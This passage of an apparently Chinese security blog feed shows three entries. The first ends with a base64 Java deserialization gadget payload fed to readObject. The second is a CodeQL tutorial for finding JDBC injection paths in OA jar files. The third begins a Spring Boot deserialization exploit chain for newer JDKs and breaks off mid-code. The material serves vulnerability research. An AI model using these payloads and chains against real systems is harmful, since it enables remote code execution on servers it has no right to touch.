class="string">&quot;rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgA1W0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbDu/pSysWxHxpwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgATTAAOZGVjbGFyaW5nQ2xhc3NxAH4AE0wACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AH3hwcHZyAB1zdW4ucm1pLnNlcnZlci5BY3RpdmF0YWJsZVJlZmkuOvZUvgduDAAAeHB0AAZnZXRSZWZwcHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHlwZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABFwc3EAfgAhc3IAIGphdmEucm1pLmFjdGl2YXRpb24uQWN0aXZhdGlvbklEwAq0Rj/brq0DAAB4cHNyABNqYXZhLnJtaS5zZXJ2ZXIuVUlEDxJwDb82TxICAANTAAVjb3VudEoABHRpbWVJAAZ1bmlxdWV4cIACAAABmtkHl3p6UFPSdzIAClVuaWNhc3RSZWYACTEyNy4wLjAuMQAANq//////gmmjDQAAAAAAAAAAAAAAAAAAAHh3AgAAeHQABHN1MTh4&quot;</span>;</span><br><span class="line">        <span class="type">byte</span>[] decode = Base64.getDecoder().decode(base64Str);</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(decode);</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bin).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;免责声明：&quot;&gt;&lt;a href=&quot;#免责声明：&quot; class=&quot;headerlink&quot; title=&quot;免责声明：&quot;&gt;&lt;/a&gt;免责声明：&lt;/h2&gt;&lt;p&gt;本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>codeql审计一些项目的思路</title>
    <link href="https://www.n1ght.cn/2025/09/11/codeql%E5%AE%A1%E8%AE%A1%E4%B8%80%E4%BA%9B%E9%A1%B9%E7%9B%AE%E7%9A%84%E6%80%9D%E8%B7%AF/"/>
    <id>https://www.n1ght.cn/2025/09/11/codeql%E5%AE%A1%E8%AE%A1%E4%B8%80%E4%BA%9B%E9%A1%B9%E7%9B%AE%E7%9A%84%E6%80%9D%E8%B7%AF/</id>
    <published>2025-09-11T12:10:42.000Z</published>
    <updated>2025-09-11T12:17:08.029Z</updated>
    
    <content type="html"><![CDATA[<h2 id="免责声明："><a href="#免责声明：" class="headerlink" title="免责声明："></a>免责声明：</h2><p>本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失，文章作者不承担责任。<br> 文章作者博客地址为<a href="https://n1ght.cn/">https://n1ght.cn/</a></p><h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>现在有许多java的oa，他们的代码量非常大，正常我们拿到手里的只有jar包，这样我们审计起来非常麻烦。这边我分享一个思路。</p><p>codeql_n1ght可能在mac和linux有一些问题。</p><p>工具：</p><p>codeql_n1ght: <a href="https://github.com/yezere/codeql_n1ght">https://github.com/yezere/codeql_n1ght</a></p><p>codeql: CodeQL command-line toolchain release 2.17.0</p><h3 id="创建数据库"><a href="#创建数据库" class="headerlink" title="创建数据库"></a>创建数据库</h3><p>首先我们可以把许多jar包打成一下结构的zip</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201157.png"></p><p>使用以下命令生成数据库，原理是通过ant进行编译，可能会出现一些问题，但是能生成就已经很好了，这边默认不在意这下问题。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codeql_n1ght.exe <span class="literal">-database</span> jar\lib.zip  <span class="literal">-goroutine</span> <span class="literal">-max-goroutines</span> <span class="number">4</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201224.png"></p><p>在下面选择对应的jar包</p><p>当然也可以进行跳过</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 使用 -deps 控制依赖选择（跳过 TUI）</span></span><br><span class="line">./codeql_n1ght <span class="literal">-database</span> your<span class="literal">-app</span>.jar <span class="literal">-deps</span> none   <span class="comment"># 空依赖（跳过依赖反编译）</span></span><br><span class="line">./codeql_n1ght <span class="literal">-database</span> your<span class="literal">-app</span>.jar <span class="literal">-deps</span> all    <span class="comment"># 全依赖（自动反编译所有依赖）</span></span><br></pre></td></tr></table></figure><p> <img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201258.png"></p><p>如果生成数据库时候报错了，也许是因为SEMMLE_JAVA_EXTRACTOR_JVM_ARGS的设置太小，导致java爆了</p><p>但是我这里工具是获取当前电脑内存，设置为没办法自己修改</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201312.png"></p><p>可以看到生成的大小非常大，因为我这里跑的是一个oa的主代码</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201326.png"></p><h3 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h3><p>我带大家编写一个简单的查询语句，同时这段ql语句是找到过一个oa的一些漏洞的</p><p>我们从一些简单的开发经验可以得知，一般是mapper，service，serviceImpl，controller</p><p>然而controller一般是通过注解注入获得service去调用里面的方法，去使用serviceImpl的</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201339.png"></p><p>所以我们的source的入口类需要对框架进行一些观察，为了方便追求不漏报，我们可以直接正则匹配后缀为Controller，Resource，Impl</p><p>为什么source包含Impl了，因为在这个项目有一个路由可以直接调用一些Impl的方法，所以我为了追求不漏报就写了上去，同时DaoImpl不会被调用，所以就进行了一些排除</p><p>这里的例子是我审计的时候写的，所以追求方便就直接用regexpMatch了，可以看情况自己修改一下</p><p>所以source就是：</p><p>这里的getDeclaringType.getName()是获取这个方法所在的类的名字</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">RestApiCallable</span> <span class="keyword">extends</span> <span class="title class_">Callable</span> &#123;</span><br><span class="line">    RestApiCallable()&#123;</span><br><span class="line">        (<span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Controller&quot;</span>)  or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Resource&quot;</span>) </span><br><span class="line">        or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Impl&quot;</span>)) and not <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+DaoImpl&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同时我们需要寻找sink，这个时候就比较吃师傅们的积累了，我这边演示一下jdbc攻击吧</p><p>所以sink的例子就是：</p><p>MethodCall是xxx.yyy()里的yyy</p><p>所以我们直接匹配getConnection</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">DangerousMethod</span> <span class="keyword">extends</span> <span class="title class_">MethodCall</span>&#123;</span><br><span class="line">    DangerousMethod()&#123;</span><br><span class="line">        <span class="built_in">this</span>.getMethod().getName().regexpMatch(<span class="string">&quot;getConnection&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>codeql查询语句：</p><p>这里查询的是Source调用了哪些Util工具类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">DangerousMethod</span> <span class="keyword">extends</span> <span class="title class_">MethodCall</span>&#123;</span><br><span class="line">    DangerousMethod()&#123;</span><br><span class="line">        <span class="built_in">this</span>.getMethod().getName().regexpMatch(<span class="string">&quot;getConnection&quot;</span>)</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">RestApiCallable</span> <span class="keyword">extends</span> <span class="title class_">Callable</span> &#123;</span><br><span class="line">    RestApiCallable()&#123;</span><br><span class="line">        (<span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Controller&quot;</span>)  or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Resource&quot;</span>) </span><br><span class="line">        or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Impl&quot;</span>)) and not <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+DaoImpl&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">query predicate <span class="title function_">edge</span><span class="params">(Method source,Callable sink)</span> &#123;</span><br><span class="line">    source.calls(sink)</span><br><span class="line">&#125; </span><br><span class="line">from DangerousMethod sink,RestApiCallable source</span><br><span class="line">where <span class="title function_">edge</span><span class="params">(source, sink.getCaller()</span>) </span><br><span class="line">select source,source.getQualifiedName(),sink,sink.getCaller().getQualifiedName()</span><br></pre></td></tr></table></figure><p>这些代码可以查询漏洞，但是为了避免风险就不放图了。</p><p>我们上面说了</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201339.png"></p><p>举个例子吧</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201411.png"></p><p>可以看到调用了databaseService</p><p>实际是DatabaseServiceImpl</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201439.png"></p><p>里面调用了codeJdbcDao实际是CodeJdbcDaoImpl</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201510.png"></p><p>存在jdbc注入</p><p>我们的查询语句就是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">DangerousMethod</span> <span class="keyword">extends</span> <span class="title class_">MethodCall</span>&#123;</span><br><span class="line">    DangerousMethod()&#123;</span><br><span class="line">        <span class="built_in">this</span>.getMethod().getName().regexpMatch(<span class="string">&quot;getConnection&quot;</span>)</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">RestApiCallable</span> <span class="keyword">extends</span> <span class="title class_">Callable</span> &#123;</span><br><span class="line">    RestApiCallable()&#123;</span><br><span class="line">        (<span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Controller&quot;</span>)  or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Resource&quot;</span>) </span><br><span class="line">        or <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+Impl&quot;</span>)) and not <span class="built_in">this</span>.getDeclaringType().getName().regexpMatch(<span class="string">&quot;.+DaoImpl&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">query predicate <span class="title function_">edge</span><span class="params">(Method source,Callable sink)</span> &#123;</span><br><span class="line">    exists(Interface interface,Callable able </span><br><span class="line">        |  interface = sink.getDeclaringType().getASupertype() and not <span class="keyword">interface</span> <span class="title class_">instanceof</span> TypeObject</span><br><span class="line">        |  able = interface.getAMethod() and able.getName() = sink.getName()</span><br><span class="line">        and  source.calls(able) )</span><br><span class="line">&#125; </span><br><span class="line">from DangerousMethod sink,RestApiCallable source,RestApiCallable source2</span><br><span class="line">where <span class="title function_">edge</span><span class="params">(source, sink.getCaller()</span>) and <span class="title function_">edge</span><span class="params">(source2,source)</span></span><br><span class="line">select source2,source2.getQualifiedName(),source,source.getQualifiedName(),sink,sink.getCaller().getQualifiedName()</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201529.png"></p><h3 id="mcp"><a href="#mcp" class="headerlink" title="mcp"></a>mcp</h3><p>同时我用ai生成了一个codeql_n1ght的mcp服务：</p><p><a href="https://github.com/yezere/codeql_n1ght_mcp_server">https://github.com/yezere/codeql_n1ght_mcp_server</a></p><p>虽然基本上没啥用，但是在这里贴一下吧</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201554.png"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201610.png"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201640.png"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/20250911201652.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;免责声明：&quot;&gt;&lt;a href=&quot;#免责声明：&quot; class=&quot;headerlink&quot; title=&quot;免责声明：&quot;&gt;&lt;/a&gt;免责声明：&lt;/h2&gt;&lt;p&gt;本文章内容仅供教育和学习使用，不得用于非法或有害目的。请在合法范围内应用网络安全知识，对任何因使用本文内容造成的损失</summary>
      
    
    
    
    
    <category term="-java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>高版本jdk+springboot链子</title>
    <link href="https://www.n1ght.cn/2025/08/21/%E9%AB%98%E7%89%88%E6%9C%ACjdk+springboot%E9%93%BE%E5%AD%90/"/>
    <id>https://www.n1ght.cn/2025/08/21/%E9%AB%98%E7%89%88%E6%9C%ACjdk+springboot%E9%93%BE%E5%AD%90/</id>
    <published>2025-08-21T07:00:00.000Z</published>
    <updated>2025-08-21T08:50:06.786Z</updated>
    
    <content type="html"><![CDATA[<p>今天看到了师傅在群里发的</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/01f258315b23969a24b44be6e74edb80-20250820214448-9irvgud.png" alt="01f258315b23969a24b44be6e74edb80"></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250820214503-a4zq8vn.png" alt="image"></p><p>获取序列化一眼看出来spring aop代理，加之前的一个trick，</p><p>不需要继承<code>AbstractTranslet</code>加载类</p><p>众里寻他千百度，慕然回首</p><p>为什么继承了<code>AbstractTranslet</code>不行呢</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250820214639-io6zn82.png" alt="image"></p><p>我们在这defineClass时候，触发了一个报错，检查包管理机制</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20250820214749-n677r70.png" alt="image"></p><p>为什么，因为我们正常的类继承了<code>AbstractTranslet</code>​</p><p>所以在加载时候触发了包隔离，但是我们不需要继承也可以加载<code>AbstractTranslet</code>​</p><p>所以payload即是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.n1ght;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.bcel.internal.Repository;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;</span><br><span class="line"><span class="keyword">import</span> javassist.CtNewConstructor;</span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;</span><br><span class="line"><span class="keyword">import</span> javax.swing.event.EventListenerList;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.CompoundEdit;</span><br><span class="line"><span class="keyword">import</span> javax.swing.undo.UndoManager;</span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.Vector;</span><br><span class="line"></span><br><span class="line"><span class="comment">// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.bcel.internal.classfile=ALL-UNNAMED</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">base64Serial</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">ByteArrayOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">            (<span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr)).writeObject(o);</span><br><span class="line">            <span class="keyword">return</span> Base64.getEncoder().encodeToString(barr.toByteArray()).toString();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + e);</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;Failed&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">base64DeSerial</span><span class="params">(String base64)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">byte</span>[] decode = Base64.getDecoder().decode(base64);</span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(decode);</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">objectInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bin);</span><br><span class="line">        <span class="keyword">return</span> objectInputStream.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">fileSerial</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">FileOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">            (<span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr)).writeObject(o);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">fileDeSerial</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">FileInputStream</span> <span class="variable">fileInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">            <span class="type">ObjectInputStream</span> <span class="variable">objectInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fileInputStream);</span><br><span class="line">            <span class="keyword">return</span> objectInputStream.readObject();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + e);</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;Failed&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deSerial</span><span class="params">(Object o)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        base64DeSerial(base64Serial(o));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">static</span> Unsafe unsafe;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 通过反射得到theUnsafe对应的Field对象</span></span><br><span class="line">            <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> Unsafe.class.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">            <span class="comment">// 设置该Field为可访问</span></span><br><span class="line">            field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="comment">// 通过Field得到该Field对应的具体对象，传入null是因为该Field为static的</span></span><br><span class="line">            unsafe = (Unsafe) field.get(<span class="literal">null</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Error: &quot;</span> + e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span 